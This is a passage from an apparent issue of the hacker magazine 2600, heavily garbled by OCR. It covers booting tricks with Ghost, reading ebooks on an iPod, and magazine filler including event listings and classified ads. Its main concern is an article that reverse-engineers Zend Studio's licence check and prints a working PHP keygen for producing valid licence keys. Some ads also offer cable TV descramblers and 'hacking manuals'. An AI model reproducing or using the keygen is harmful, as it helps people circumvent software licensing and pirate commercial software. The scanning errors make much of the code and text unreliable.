wi l l  g ive you a l i tt le  n i cer access than  HELP 

(defa u l t execute i n stead of open) .  In ord�r to 
r u n  it, you w i l l  ha�e to OPEN . fro� the nght­
c l i c k  menu,  otherWise HELP w i l l  th i n k  you a re 
try i n g  to SELECT a l i bra ry. 

Need to rena me, copy, cut, paste a f i l e ?  I t ' s  
a l l  there. J ust be aware that  you  w i l l  not  see 
you r  changes u nt i l you refre�h you r  screen 
(get u sed to h itt i ng F5 a l l  the t l m�) .  . 

Don ' t  waste you r  t ime Wi th  mov i ng 
spec i fi c  fi l es move whole fo l ders.  The OPEN 

menu o n l y  ;l I ows you to work with a s i ng le  
fi l e  or  fo l der at one t i me. So ,  try i n g  to  copy 
1 5  fi l es becomes a l i tt l e  ted ious  and error 
prone. I ' ve successfu l l y . been a? l e  to use 
U S B  storage devices, wh ich  certa i n ly makes 
i t  conve n i ent for back i n g  up hard to reach 
data or i m port i n g  a rep l acemen.t fi le .  . 

Th i s  process has been espec i a l l y  usefu l I n  
remov i n g  u n wa nted DLLs  that embed them­
selves at the boot (spyware) . 

The fu n rea l l y beg i n s  when you try to 
execute d i fferent programs or system executa­
b l es s i tt i n g  on the hard dr ive. CMD . EXE work�d 
for me.  The b u i l d  of G h ost 9 that I h ave S i tS 
on X P  Pro S P 1 . I am u n certa i n  if t h i s  is why 
I have not been ab le  to ru n Exp lorer from a 
hard dr ive or not, s i nce I ' ve probab ly  made 
a l l  my attempts on S P2 i nsta l l at ions .  There a re 
a lot of t h i ngs that occu r  i n  the background �f 
an MS boot sequence, so success may ent.a d  
a lot o f  scr ipt i ng  and ed i t i ng  (beware o f  c r ip­
p l i ng a n  otherw i se work i n g  test system) .  I 
have dabbled extens ive ly but  been unab le  to 
br i ng  up a more robust l evel of operat ion .  I 
hope that someone e l se can add to what I ' ve 
d i scovered a n d  maybe I ' l l  have more good 
news for you when I eventu a l l y  get a round to 
buy ing  G h ost 1 0 . 
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R e a d  n 9 e • 

1 

a n a n  i P a 

by DBT C  
The iPod does not have a n  ebook-specific 

reader or j u st a text format good for reading 
ebooks. I t ' s  unfortunate because the sty le 
and capabilities of iPods make them perfect 
for such functions .  Su re, you can use the iPod 
as a portable hard drive to read ebooks using 
any P c. But if you want to use the iPod itself 
as an ebook reader, it 's  certain ly  possible. 
Read

.
ing ebooks on an iPod consists of j ust 

copyi ng the contents of an ebook into iPod 
Notes and scrolling through multiple notes 
in order to read the ebook. But  there are 
limitat ions. 

Each Note can hold no more than 40 1 2  
characters. If an iPod Note conta i ns more, it 
will still load, but only the first 401 2 char­
acters will be displayed. You may see other 
references mentioning a 4096 character 
l imit. Looking at the results from an actual 
cut-and-paste experiment, the limit is really 
401 2 .  

The iPod can hold no more than 1 000 
Notes. If you load more, only the first 1 000 
will be displayed. 

Assuming each Note is packed to 
capacity, that 's  4,0 1 2 ,000 characters. So any 
gi�en iPod can hold roughly 2 , 4 6 7  pages of 
pr i nted text, or enough for eight medium 
sized books. 

To summarize these issues with reading 
ebooks on an iPod:  

Problem 1 :  To read ebooks on an iPod 
screen, the best place is to copy plain text 
information into iPod Notes. Each Note 
on the iPod can hold no more than 401 2 
characters. 

Solution 1 :  Each ebook much be broken 
up i nto a multi-Note format. iPod Notes use a 
very simple HT M L-derived markup language. 
For short stories, it ' s  easy to create the Note­
to-Note links you rself. For longer stories, save 
yourself the pain by automating this process. 

Problem 2 :  iPods can only hold a few 
books before run ning out of avai l able Notes 
spaces. 

Solution 2: Keep you r  ebook collection 
on you r  PC and j ust copy books to and from 
the iPod as needed.  This is a good sol ution 
anyway as iPod Notes aren ' t  backed up 

a nywhere (even from the new backup featu re 
in iTu nes 7) .  

With a l l  that said, here ' s  how to p lace and 
read an ebook on you r  iPod: 

1 )  Get an ebook. Make s u re it ' s  in "plain 
text" format. Don ' t  spend money u n less 
you have to. There are plenty of free ebook 
libraries all over the Internet. I ' ve compiled 
a list to get you started: h t tp : / /www . andy 
- b r a i n . c o m / a r c h i v e / j o u r n e y_ t o_ t h e _  

- cent e r  o f  a n  ebook . htm 

2) .Enab le Notes access on you r  iPod by 
checki ng Enabl e  disk u s e  in iTu nes. This 
feature (turned off by default), al l ows you to 
use your PC to browse to your iP od, allowing 
you to copy files directly to the device. For 
more instructions and detail, see this link: 
h t t p : / / d o c s . i n f o . a p p l e . c o m / a r t i c l e . 

-html ? a r t num� 6 1 1 3 1  

3 )  Convert your ebook to a format 
supported by iPod Notes. Use this iPod 
eb�ok creator servi ce to upload your 
pla i n  text ebook and convert it into an 
iPod readable format: h t tp : / /www . amb i 
- e n c e . s k / i p o d - ebook - c r e a t o r / i p od - book -

-not e s - t ex t - c onve rs ion . php . Take the files 
contained within the result i ng ZIP file and 
place them into a new folder within your 
iP od's  Notes folder. (To do this, make sure 
you ' ve completed step number two above. 
Then browse to your iP od using your P c .  You 
s.hould .se� a Notes folder. P lacing all the Zip 
f l ies With i n  a newly created subfolder isn 't 
required, but makes navigation much easier 
and faster. 

4) Read it. 
After discon necting your iPod from your 

PC, open Extras - >  Not e s  on you r  iPod. 
You should see the folder you created in the 
previous step. Click to view the fol der and 
you shou l d  see the documents you moved 
there, all numbered like mydocument O O l ,  

mydocument 0 0 2 ,  etc. Start with the first docu­
ment. You ' ll see backward and forward 
arrows at the top and bottom of the Notes. 
Selecting with the center button a l l ows you 
to page back and forth between Notes. 

The actua l  iPod ebook reading process 
consists of scro l ling s lowly through the Note 
as you read it, then clicking on the next Note 
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page arrow at the end of the doc u m ent. Be 
aware that h itti n g  the Menu b u tton acts  l i ke 
a " p rev i o u s  page" fu n ct io n .  So if you read, 
for exa m p l e, ten N otes worth of l i n ked text, 
you ' l l  h ave to h i t  the Menu button ten t i mes 
in order to get back to the Ext r a s  - >  Not e s  

sect i o n .  Depen d i n g  on how m uc h  you ' ve 
read, it m ay be eas ier  a n d  faster j ust to reboot 
you r  i Pod when you ' re done.  (There is a way 
to progra m mat ica l l y  c l ea r  t h i s  stored N otes 
h i story, but the converter ment i oned above 
does n ' t  use i t . )  

The i Pod ebook creator ment ioned above 
w i l l  do the t r ick .  I f  you want a more exten­
s ive ma nagement system, or want someth i n g  
i nsta l led l oca l l y, here are some opt ions .  
Each p rogram w i l l  a l l ow you to keep track 
on many ebooks on you r  PC, g i v i n g  you the 
opt ion  to "act ivate" j u st the ones you want  for 
i Pod read i ng .  

Mac as: Book2Pod: http : / /www . t oms c i . 

- com/book2pod 

Wi ndows as: iPodLibrary: http : / /www . 
" s t u rm . ne t . n z /web s i t e . php ? Se c t i on = i Pod+ 

-' Programs &Page = i PodL ibrary 

U s i n g  t h i s  p rocess, we can read text a n d  
ebooks on any i Pod with  a d i sp l ay scree n .  
T h e  process, u nfortunate l y, req u i res a b i t  
more hass le  than  i t  shou l d .  U nt i l  App le  
decides to  remedy t h i s  wi th  proper ebook 

J a va 

Reve rs 

support a n d  featu res l i ke font adj u stment 
a uto-scro l l i ng, we can m a ke do.  

More I nformation 
Lea rn more about the i Pod Notes markup 

l a n g u age. A l so see u ser  c o m ments at the 
bottom of the second page for  code on 
com p i l i ng you r own i Pod ebook extractor: 
h t t p : / / w w w . o r e i l l y n e t . c o m / p u b / a /  
-ma c / 2 0 0 6 / 1 2 / 1 2 / i p o d - no t e s - above - an d ­

_beyond . html 

Learn about " B u i l d i n g  I n teract i ve i Pod 
Exper iences . "  Wh i l e  the a rt i c l e  br ief ly 
ment ions ebooks, i t ta l ks in  m o re deta i l  about 
the i Pod ' s  markup language to run i nteract ive 
p resentat i o n s  i ncorporat i n g  p ictures, sounds 
a n d  v i deos: http : / /www . macdevcent e r . com/ 
-pub / a /mac / 2 0 0 6 / 1 1 / 2 8 / bu i l d i ng - i n t e r a c  

- t ive - ipod- exp e r i enc e s . html 

Mac u sers m ay be i n terested in Text2 i Pod 
X, a Mac-o n l y  a pp l i cat ion that copies 
ent i re ebooks i nto i Pod contacts, appar­
ent ly  wi thout  s i ze l i m itati ons .  W h i l e  th i s  i s  
great, I d i d n ' t  i nc l ude i t  i n  t h e  m a i n  arti c l e  
beca use 1 )  I was n ' t  a b l e  t o  test i t, a n d  2 )  I ' d  
l i ke my "ebooks o n  i Pod" so l ut ion t o  work 
on a l l  systems .  Here ' s  the l i n k: http : /  / 
- h o m e p a g e . m a c . c o m / a p p l e l o v e r /  

t e x t 2 ipodx / t ex t 2 ipodx . html 

For more from D BTC, v i s i t  h t tp : / /www . 

-andybra in . com. 

by quel as debuggers. The bas i c  p re m i s e  beh i n d  the 
Compa n i es have an  a m u s i n g  habit of fi rst vers i o n  I reversed was that I had i nsta l led 

obfuscat i n g  Java code a n d  then d i st r ibut i n g  a 3 0  day tr i a l  but  had been too busy at t h e  
the app l i cat ion a n d  th i n k  t h a t  i t  i s  secu re.  off ice to actua l l y get to rea l ly try i t .  Wel l , 
U nfort u n ate l y  for them J ava c l a sses aka byte t i m e  to hack it so I cou l d  fi n i s h  test i n g  i t .  
code are tr iv i a l  to deco m p i l e .  The obfuscat ion We w i l l  go ahead a n d  start  wi th  vers ion 
serves as l i tt le  more than speed b u m p s  which  3 of the stu d i o  as th i s  was the fi rst vers ion  I 
means  more fu n for us a n d  a l i tt l e  extra t i me.  reversed . Now i t  wou l d  be tr iv i a l  to patch the 
Of cou rse what reverse eng i neeri n g  project is  Java, comp i le the c l ass fi l e, a n d  repackage 
worth i t  i f  it is t r iv i a l ?  the j a r. Cracks are u g l y  hacks .  We a re goi n g  

N ow m a n y  o f  you are fam i l i a r  w i t h  P H P. to reverse it to o u r  sati sfact ion so we can 
The company beh i n d  P H P, Zend,  p roduces a wr i te a fu l l  keygen .  ( N ot a h a l f-assed keygen 
tool ca l l ed Zend Stu d i o .  The too l l ets you step but one that w i l l  actua l l y  generate any and 
through code a n d  bas i ca l ly i s  one of  the few a l l  poss i b l e  va l i d  keys . )  
ways to  actu a l l y  get  the featu re set  you wou l d  F i rst, fi n d  the Zen d l D E . jar  a n d  e i ther  use  
expect out  of a p rogra m m i ng language such  j ar x or  even unz ip - x  w i l l  do i t .  You w i l l  
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a l so want to get a copy of lAD, a l ava decomp i ler. N ow you c a n  u se grep, str i ngs, etc . to track 
down what you a re look ing for  or  of cou rse sta rt by tra c i n g  a l l  the way through the code. After 
some t ime grep p i n g  a n d  check i ng out  the decomp i led code from lAD I fou n d  that comlzendl 
ide/uti l/f/a . c l ass was go i n g  to be the p r i m a ry target. (G repp i n g  for the str i n g  you f i n d  on the 
screen to enter you r  u sername and l i cense key is  a good p l ace to start . )  

Check out  a . jad  a n d  you ' l l  see th i ngs l i ke U S E R_NAME and L I C E N S E_K EY. You ' l l  n ot ice 
everyth i n g  i s  n amed a ,  b, c,  etc . Th i s  i s  part of the i r  obfuscatio n  a n d  someti mes p a rt of the 
decomp i l i n g  p rocess.  In  a n y  c ase, use the return types and the over loaded types in fu nct ion 
a rgu ments to he lp you fi n d  you r  way. 

Check out  p u b l i c  vo i d  "a" (S t r ing s ,  S t r i ng S l ) 
Look at that "an  comment / /USER KEY (cou l d  it be t h i s  easy?)  
Lets trace th is  code: 

b � b ( s ,  s l ) ; 

H rm .  Someth i ng spec i a l  about start i n g  with " I k" - l et's n ote that for la ter. 
OK, s l  h a s  to be greater than  or equ a l  to a l e n gth of 1 8  ( l icense key), s2 i s  the s u bstr i n g  

from 1 6 t o  1 8  o f  s l , a n d  53 i s  t h e  fi rst 1 8  c h a ra cters o f  5 1 . N ow 5 1  i s  t h e  fi rst 1 6  c h a ra cters.  52 
m u st be 0 . 54 is a s u bstr i n g  of 51 from 8 - 1 6 .  55 = "Zend" + 5 +54 + 52 + 53 . Bingo. 

At th i s  po int  you c a n  tr ia l  a n d  error or j u st keep trac i n g  the code u nt i l you h ave a l l  the 
l i m itatio n s  and c h ecks d u p l i cated . 

Here ' s  a p h p  s c r i pt to c reate the keys. ( E d i t i n g  the same fi l e  too k  me about ten m i n utes to 
update the keygen for Zend I D E  4. I have n ' t  l ooked at 5 but  I don ' t expect the i r method to 
h ave gotten m u c h  h arder. )  

i f  ( i s s e t ( $_GE T )  && count ( $  GET ) > 0 )  

i f  ( ' i s s e t ( $_GET [ " us e r " ] )  I I  l $_GET [ " us e r " ] ) 
$ name " Own3 d " ; 

e l s e  

/ / f i r s t  2 mus t  n o t  be l k  
i f  ( s t rc a s ecmp ( suhs t r  ( $name , 0 , 2 ) , 1I 1 k ll ) = =  0 )  

( 
$ name � subs t r ( $name , 2 ) ; 
echo " The f i r s t  2 chars mus t  not be l k < B r > lI ; 

if ( s t r l e n ( $name ) < �  0 )  
$ name = II Own3 d  II ; 

if ( l i s s e t ( $_GET [ " howmany " ] ) )  
$ _GET [ ll howmany " J ::;: 0 ;  

$ howmany ::;: intval ( $_GET [ l1 howmany n J ) i 

if ( $ howmany < �  0 )  
$ howmany � 2 6 0 0 ; 

i f  ( $howmany > 2 1 4 7 4 8 3 6 4 7 )  

$ howmany � 2 6 0 0 ; 
echo " L imi t of l i censes i s : 2 1 4 7 4 8 3 6 4 7 <hr > " ; 

i f  ( l i s s e t  ( $ GET [ " s e e d " ] ) )  
$ s eed = " 3 6 11 i 

e l s e  

i f  ( intval ( $_GET [ " s e e d " ] )  > �  3 5  && intva l ( $_GET [ " s e e d " ] )  < �  9 9 )  
$ s eed $ GET [ " seed " ] ;  

e l s e  
$ s eed = " 3 6 11 ; 

$ s t r  = I I  Zend " ; 
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$ ha rdcode :=: 1I 0 3 0 4 " i 

$ s c r  . =  $ narne ; 

$pad = " ; 

for ( $ i  = ( 5 - s c r len ( $narne ) ) ;  $ i  > 0 ;  $ i - - ) 
$pad . = " 0 " ;  

$pad " 0 0 " ;  

$ s c r  $hardcode . $ s e e d  . $pad . " 0 0 0 "  . $howrnany ; 

p r i n c f  ( " L ICENS E_KEY , % 0 8X % s % s % s O O O % s <br >USER_NAME , % s " ,  c r c 3 2 ( $ s c r ) , $hardcode , $  
" s e e d , $pad, $howrnany , $narne ) ; 

echo " < b r > < b r >Now f i nd ZendIDE . conf ig and rep l a c e  the L I CENSE_KEY and USER_ 
-NAME < b r > < b r >  I I  ; 

} 
e c ho " < form method:=: ' get ' >  

Enter the use rname : < b r >  
< input typ e = ' t extbox ' name = ' us e r ' maxl ength= ' 5 0 ' > < b r >  
Number o f  l i c ens e s ; <br> 
< i nput type = ' t extbox ' name= ' howmany ' > <br> 
Ent e r  a random number between 35 and 9 9 : <br> 
< i nput typ e = ' t extbox ' name = ' seed ' maxl ength= ' 2 ' > < b r >  
< i nput type= ' submi t '  name= ' Submi t ' >  
< / f o rm> lI ; 

Shouts to amatus who worked with me on the initial reverse engineering project. 

Why not avoid the chaos and subscr ibe? 
S t i l l  only $20 a yea r i n  the States and Canada , $30 e l s ewhe re . 

Send check o r  money o r d e r  i n  US funds to 

2600 , PO Box 752 , Mi ddle Island , NY 11953 USA 

o r  vi s i t  ou r store at store . 2600 . com ! 
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HOPE FORUMS 
Announcing a brand new way to communicate you r  thoughts 

and ideas about the HOPE conferences, 2600, and hacker 

issues! 

Simply go to http://talk. hope. net and join  the fun !  We a l ready 

have many l ively discussions in  progress and you can start 

your own if you feel the need. The forum focuses mainly on 

the past and future Hackers On Planet Earth conferences and 

the current battle to help save the H otel Pennsylvania,  site of 

HOPE. 

Registration is simple,  quick,  and free! See what happens 

when we all put our heads together. 

O F F TH E H 
Te c h n o l o g y  fr 
H a c ke r  Pe rs p e  

B ROADCAST FO R ALL TH E WO R 

Wed nesdays,  1 9 0 0 - 2 0 0 0  ET 
W BAI 99 . 5  FM , N ew Yo rk City 

W BCQ 74 1 5  K h z  - s h o rtwave to N o rth A m e ri ca 
a n d  a t  http : //www . 2 60 0 . co m/offt h e h o o k  ove r the n et 

Ca l l  u s  d u ri n g t h e  s h o w  a t  + 1 2 1 2  2 0 9  2 9 0 0 .  
E m a i l  oth @ 2 60 0 . co m  with  yo u r  co m m e nts . 

A n d  yes,  we a re i nte rested i n  s i m u lcast i n g  o n  oth e r  sta t i o n s  o r  
v i a  sate l l ite . Conta ct u s  i f  y o u  ca n h e l p  s p re a d  "Off Th e H oo k "  
t o  m o re l i ste n e rs ! 
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CHAOS COMMUNICATION CAMP 2007. This event wi l l  start August 
8th and last unti l  August 1 2th,  200� . That's right, ladies and gentle­
men. We are gOing for five days this timet The �amp wi l l  take place 
at a brand new location at the Airport Museum I n  Fmowfurt, directly at 
Finow airport. So If you like, you can directly fly to the Camp. You can 
get to the location easily with a car ,in less than 30 m l n�tes starting In 
8erl in and we wi l l  make sure there IS a shuttle connection to the next 
train station. The coordinates of the location are 52.83 1 7 ,  1 3 . 6779 
More details at eee.de.  
CALIFORNIA EXTREME 2007. August 1 1 - 1 2 ,  2007,  San Jose,  
California , The "Classic Arcade Games Show " An expo of hundreds 
of coin operated video games and pinball machines once found In  
arcades. Featuring tournaments, speakers. parts vendors, and an 
opportunity to p lay games you may not  have seen for  years. Al l  the 
games on display wi l l  be set  for  free play. :",ww.caextreme.org 
HITBSECCONF - MALAYSIA IS  the premier network security event 
for the region and the largest gathering of hackers i n  Asia. Our 
2007 event is  expected to attract over 700 .attend.ees from around 
ttle world and will see 4 keynote speakers In  additIOn to 40 deep 
knowledge technical researchers. The conference takes place 
September 3rd through September 6th In Kuala Lumpur. More dp.tails 
at http://conference. hltb.org/hitbsecconf2007kl/. 
DAYTON'S FIRST HACKER CON! Please JOin us on Saturday, 
October 1 3th 2007 for the Inaugural Day-Con Hacker Can in Dayton. 
Ohio. This unique event promises to impress. It  breaks down l ike 
th is :  one day hacking/security conferen?e (check your hat at the 
door), 250 t ickets, POOH Sessions ( Point Of Ongln Hacking) ,  tools.  
fresh never before seen presentations, PacketWars Pro Shop, 
i ncludes food and entertainment. For more information check out 
www.day-con.org 
ILLUMINATING THE BLACK ART OF SECURITY. Announcing 
SecTor - Security Education Conference Toronto - November 20·21 , 
?007. Bring!ng t� Canada the world's brightest (and �arkest) minds 
together to Identify, diSCUSS, dissect, and debate the latest digital 
thr8ats facing corpOiations today. Unique to central Canada, SecTor 
prow1es an unmatched opportunity for IT professionals to cOllaborate 
with their peers and learn from their mentors. AU speakers are true 
security profeSSionals Wlttl depth of understanrllng on tOpICS that 
matter. Check us out at www.sector.ca to see the impreSSive growing 
l ist of speakers and be sure to sign up tor e

.
mail  updates. Attendees 

and Sponsors - don't miss out, both are l imited I 

For Sale 
VENDING MACHINE JACKPOTTERS. Go to 
www. hackershomepage.com for EMP DeVices, Lock Picks, Radar 
Jammers & Controversial Hacking Manuals. 407-965-5500 
MAKE YOUR SOFTWARE OR WEBSITE USER FRIENDLY with 
Foxee. the fnendly and interactive cartoon blue fox! Not everyone 
who will navigate your website or software appl ication Will be an 
expert hacker, and some users will need a little help l  Foxee IS a 
hand-animated Microsoft Agent character that wi l l  accept Input 
through voice commands, text boxes, or a mouse, and interact with 
your users through text, animated gestures,. and even dig ital speech 
to help guide them thruugh your software with ease! Foxee supports 
10 spoken languages and 3 1  written languages. She can be added 
to your software through CH, VB6. al l  .Net ta�guages, VBScript, 
JavaScript, and many others! Natively c�mpa.tlble with Microsoft 
Internet Explorer and Gan work with Mozilia Flrefox when used with 
a free plug- in .  See a free demonstration and purchasing information 
at www.foxee.net!  
TV-B-GONE. Turn off TVs in public places! Airports, restaurants, 
bars, anywhere there's a TV. See why everyone at HOPE Number 
S ix  loved it .  Turning off TVs really is  fun .  $20.00 each. 
www.TVBGone.com 

NET DETECTIVE. Whether you're just curious, trying to locate or. find 
out about people for personal or business reasons,  �r you're lo<?klng 
for people you've fallen out of touch with, Net Detective makes It al l  
possible!  Net Detective is used worldwide by private Investigators 
and detectives, as well as everyday people who use It to find lost 
relatives, old high school and army buddi�s,  dea.dbeat paren�s,  lost 
loves, people that owe them money, and Just plalll old snooping 
around. Visit us today at www.netdetective .org , u k .  
J EAH.NET SHELLSIHOSTING S I N C E  1 999 - J E A H ' s  FreeBSD 
shell  accounts continue to be the choice for unbeatable uptime and 
the largest virtual host l ist you'l l  f ind anywhere. JEAH lets you .trans­
fer/store files, I R C ,  and email with complete privacy and secunty . . 
Fast, stable virtual web hosting and completely anonymous do�aln 
registration solutions also available with �EAH. As always, me�tl�n 
2600 and your setup fees are waived ! JOin the J E AH . N ET institutIOn !  

N�TWnRKIN'" AND I PRODUCTS avai lable at 
OvationTechnologY.com, We're a suppl ier of Network Security and 
Internet Privacy products. Our onl ine store features VPN and firewall 
hardware, Wireless hardware, cable and DSL modems/routers, I P  ac­
cess devices, Vol P  products, parental. control products, and etherne� 
switches. We pride oursetves on prOViding the h ighest level of techni­
cal expertise and customer satisfactio.n .  Our c01!1mit�ent to yo� . . .  No 
surprises! Buy with confidence I Security and Privacy IS our bUSiness! 
Visit us at http://www.OvationTechnology.com/store .htm. 
SPEND QUALITY TIME ONLINE with any of over four thousand 
cheerful sluts. Start at http_;ljgoodlu�,dia!}dgnd.QQm/ and enjoy. Credit 
card requi red for age verification ,  non-private video chat is  always 
free. Adults only 
PHONE HOME. Tiny, sub-miniature, 7/1 0 ounce, prowamma.ble/re­
programmable touch-tone, .multi-freq�ency (DT�F) dialer which can 
store up to 15 touch-tone digits .  Unit IS held against the teleptlOne 
receiver's microphone for dial ing.  Pres� "HOME" to automatl�ally dial  
the stored digits which can then be hea�d through the ultra min iature 
speaker. Ideal for E T ' s ,  chi ldren , Alzheimer victllns, . lost dogs/ 
chimps, sign ificant others. hackers, and computer Wizards. Give one 
to a boy/girl friend or to that potential "someone" you meet at a party, 
the supermarket, school ,  or the mal l ;  with your pre-programmed 
telephone number, he/she will always be able to call you! Also. 
ideal if you don't want to "disclose" your teleph�ne number but want 
someone to be able to call you locally or long distance by telephone. 
Key ring/cl ip.  Limited quantity available. Mon�y order .0�ly $24.95 
+ $3.00 S/H . Mail  order to: PHONE HOME, N imrod DIVISion, 331 N. 
New Ballas Road, Box 41 0802, eRC, Missouri 631 4 1 .  
REAL WORLD HACKING: Interested i n  rooftops, steam tunnels, 
and the l ike? Read the all-new Access All Areas, a gu idebook to the 
art of urban exploration, from the author of Infiltration zine.  Send $?O 
postpaid in  the U S  or Canada, or $25 overseas, to PO Box 1 3 ,  Sta­
tion E ,  Toronto, ON M6H 4 E 1 , Canada, o r  order oni lne at 
www.infiltration.org 
FREEDOM DOWNTIME ON DVD! Years i n  the making but we Ilope 
It was worth the walt. A double DVD set UHt includes the two hour 
documentary, an in-de�th interview with Kevl'n Mitnick, and nearly 
three hours of extr<'l scenes, lost footage, and miscellaneous stuff 
Plus caption ing tor 20 (that's right, 20) languages, commenta.ry track, 
and a lot of things you'll just have to find for yoursetf! The entire two 
disc set can be had by sending $30 to Freedom Downt!me DVD, 
PO Box 752, Middle Island, NY 1 1 953 USA or by ordenng from our 
onl ine store at http://store.2600.com. {VHS copies of the f i lm stil l 
available for $1 5 . )  
C A P ' N  CRUNCH WHISTLES. Brand n e w ,  o n l y  a f e w  leff. THE 
O R I G I NAL W H I STLE i n  mint condition,  never used . .Join the el i te few 
who own thiS treasure I Once they are gone, that IS  it  - there are no 
more l Keychain hole for keyring.  Identify yo�rself at m�etings, 

.
etc 

as a 2600 member by dangling your keychaln and saying nottllng 
Cover one hole and get exactly 2600 hz, cover the other hO.le and get 
another hequency. Use both holes to call your dog or dolphin : Also, 
ideal for telephone remote control deVices. Pnce Includes rnai l ing.  
$49 95. Not only a collector's i tem but a VI:::HY USEFUL deVice to 
carry at al l  t imes. Cash or money order onty.  Mail  to: WH ISTLE, PO 
Box 1 1 562-ST, Cit ,  Missouri 631 05 
CABLE TV DESCRAMBLERS. New. Each $45 + $5.00 shipping, 
money order/cash only. Works on anal.09 or analog/dlgi.tal cable 
systems. Premium channels and pOSSibly PPV depending on 
system. Complete with 1 1 0vac power supply. Purchaser assumes 
sale responsibi l ity for notifying cable ufJeratur of use of descrambler 
Requires a cable TV converter ( I . e . ,  Radio Shack) to be used With 
the unit. Cable connects to the converter. then the descrambler, then 
the output goes to TV set tuned to channel 3 .  C D  9621 Olive, Box 
28992-TS,  Ollvettet Sur. Missouri 631 32. 
Emai l :  cabledescramblerguy@yahoQ.com. 

Help Wanted 
R E N EGADE BLACK SHEEP TECH ENTREPRENEUR in  process 
of putting flesh on the bones of an encrypted voice communications 
project Do you have experience in  the deep details of VoiP/S I P  
protocols, network traffic analYSIS, b i l l ing system construction. PtoP 
routing,  and so on? Interested In working With a top-end team to build 
a world-changing tool for regular folks around the wO�ld to use In 
their everyday l ives? Contact me at wrinko @ hushmall .com. 

Wanted 
OPT DIVERT for 800 numbers desperately needed for privacy. I 
need a telephone number anywhere in  the U . S : that wi l l  give an 
Immediate dial tone from which one can then dial a toll-free 800 
number so that the toll-free number business reCipient does not have 
the actual telephone number from which the call originated. Further, 
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I believe that many privacy advocates would not only welcome such 
an opt-divert number, but also would be will ing to pay for such a ser­
vice in  order to keep their originating number private. Please emai l :  
opCdivert @ yahoo.com. 
HELP! I want to set up a voice bridge chat l ine for hackers but need 
the software. Call me at (213) 595-8360 (Sen) or 
www. UndergroundClassifieds.com. 

Services 
HACKER TOOLS TREAS U R E  BOX! You get over 630 l inks to key 
resources, plus our proven methods for rooting out the hard-la-find 
tools, instantly! Use these links and methods to build your own 
customized hacker (AHEM,  network security) tool kit 
http://wealthfunnel .com/securitybook 
ADVANCED TECHNICAL SOLUTIONS. #422 - 1 755 Robson Street, 
Vancouver, B,C. Canada V6G 387. Ph: (604) 928-0555. Electronic 
countermeasures - find out who is  secretly videotaping you or bug­
ging your car or office. "State of the Art" detection equipment uti l ized. 
FREERETIREDSTUFF.COM - Donate or request free outdated tech 
products - in  exchange for some good karma - by keeping usable un­
wanted tech items out of your neighborhood landfi l l .  The FREE and 
easy text and photo classified ad website is designed to find local 
people in your area wil l ing to pick up your unwanted tech products or 
anyth ing else you have to donate. Thank you for helping us spread 
the word about your new global recycling resource by distributing this 
ad to free classified advert is ing sites and newsgroups globally. 
www.FreeRetlredStuff.com F R E E  ADS are available for those trying 
to BUY or SELL tech products. Visit www. NoPayClassifieds.com. 
SUSPECTED OR ACCUSED OF A CYBERCRIME I N  ANY 

CALIFORNIA OR FEDERAL COURT? Consult  with a semantic 
warrior committed to the l iberation of information .  I am an aggres­
sive criminal defense lawyer special izing in the following types of 
cases: unauthorized access, theft of trade secrets, identity theft, 
and trademark and copyright infringement. Contact Omar Figueroa, 
Esq. at (41 5 )  986-559 1 ,  at omar@ stanfordalumni .org, or  at 506 
Broadway, San Francisco, CA 941 33-4507. Graduate of Yale College 
and Stanford Law School. Complimentary case consultation for 2600 
readers. Al l  consultations are strictly confidential and protected by 
the attorney-client privilege. 
INTELLIGENT HACKERS UNIX SHELl. Reverse.Net is  owned 
and operated by Intell igent hackers. We believe every user has the 
right to online security and privacy. I n  today's hostile anti-hacker 
atmosphere, intelligent hackers require the need for a secure place 
to work, (;ompilF!, and explore without big-brother looking over their 
shoulder. Hosted at Chicago Equinix with Juniper Fi ltered DoS Pro­
tection. Multiple FreeBSD servers at P4 2 .4 ghz. Affordable pricing 
from $5/month with a money back guarantee. Lifetime 26% discount 
for 2600 readers. Coupon code:  Save2600. http ://www. reverse.ne1 
ANTI-CENSORSHIP lINUX HOSTING. Kaleton Internet provides 
affordable web host ing,  email accounts, and domain registrations 
based on d ual processor P4 2 .4 GHz Linux servers. Our hosting 
plans start from only $8.95 per month. This includes support for 
Python, Perl, PHP, MySOL. and more. You can now choose between 
the USA, Singapore, and other offshore locations to avoid censorship 
and guarantee free speech. We respect your privacy. Payment can 
be by E-Gold, PayPal, credit card, bank transfer, or  Western Union.  
See www.kaleton.com for detai ls .  
ARE YOU TIRED of receiving pi les of credit card offers and other 
postal spam? You can't j ust throw them in the trash or recycle them 
as someone could get a hold of them and use them to steal your 
identity. You can't just let them pi le up on your kitchen table. So 
instead you have to be bothered with shredding and disposing of 
them. Wel l ,  not anymore. OperationMail Back .com has a free solution 
for you. Al l  costs of d isposal including del ivery wi l l  be paid by the 
company responsible for sending the stuff to you .  Stop wasting your 
valuable time dealing with messes other people are responsible 
for creating.  Check out our newly redesigned website for complete 
information and take back your mailbox 
BEEN ARRESTED FOR A COMPUTER OR TECHNOLOGY 

RELATED CRIME? Have an idea, invention,  or business you want to 
buy, sel l ,  protect, or market? Wish your attorney actually understood 
you when you speak? The Law Office of Michael B .  Gree n ,  Esq 
is the solution to your 2 1 st century legal problems. Former SysOp 
and member of many private BBS's Since 1 98 1  now available to 
directly represent you or bridge the communications gap and assist 
your current legal counsel. Extremely detailed knowledge regarding 
criminal and civi l  l iabi l ity for computer and technology related actions 
( 1 8  U . S . C .  1 028, 1 029, 1 030, 1 03 1 , 1 341 , 1 342, 1 343, 251 1 ,  2 5 1 2 ,  
ECPA, D M C A ,  1 996 Telecom Act, etc . ) ,  domain n a m e  disputes, intel­
lectual property matters such as copyrights, trademarks, l icenses, 
and acquisitions as well  as general bUSiness and corporate law. Over 
eleven years experience as in-house legal counsel to a computer 
consulting business as well as an over 20 year background in 
computer, telecommunications, and technology matters. Publ ished 
law review articles, contributed to nationally published books, and 
submitted briefs to the Un ited States Supreme Court on Internet and 
technology relaterl isslJAs. Admitted to the U . S .  Supreme Court, 2nd 
Circuit Court of Appeals, and all  New York State courts and familiar 
with other jurisdictions as wel l .  Many attorneys wi l l  take your case 
without any conSideration of our culture and wi l l  see you merely as 
a source of fees or worse, with i l l-conceived prejudices. My office 
understands our culture, i s  sympathetic to your situation,  and wi l l  
treat you with the respect and understanding you deserve. No fee 
for the i nitial and confidential consultation and. if for any reason we 

cannot help you, we will even try to find someone else who can at no 
charge. So you have nothing to lose and perhaps everything to gain 
by contacting us first. Visit us at: hHp:llwww.computorney,com or call 
5 1 6·9WE·HELP ( 5 1 6·993·4357) .  

Announcements 
OFF THE HOOK is  the weekly one hour hacker radio show present­
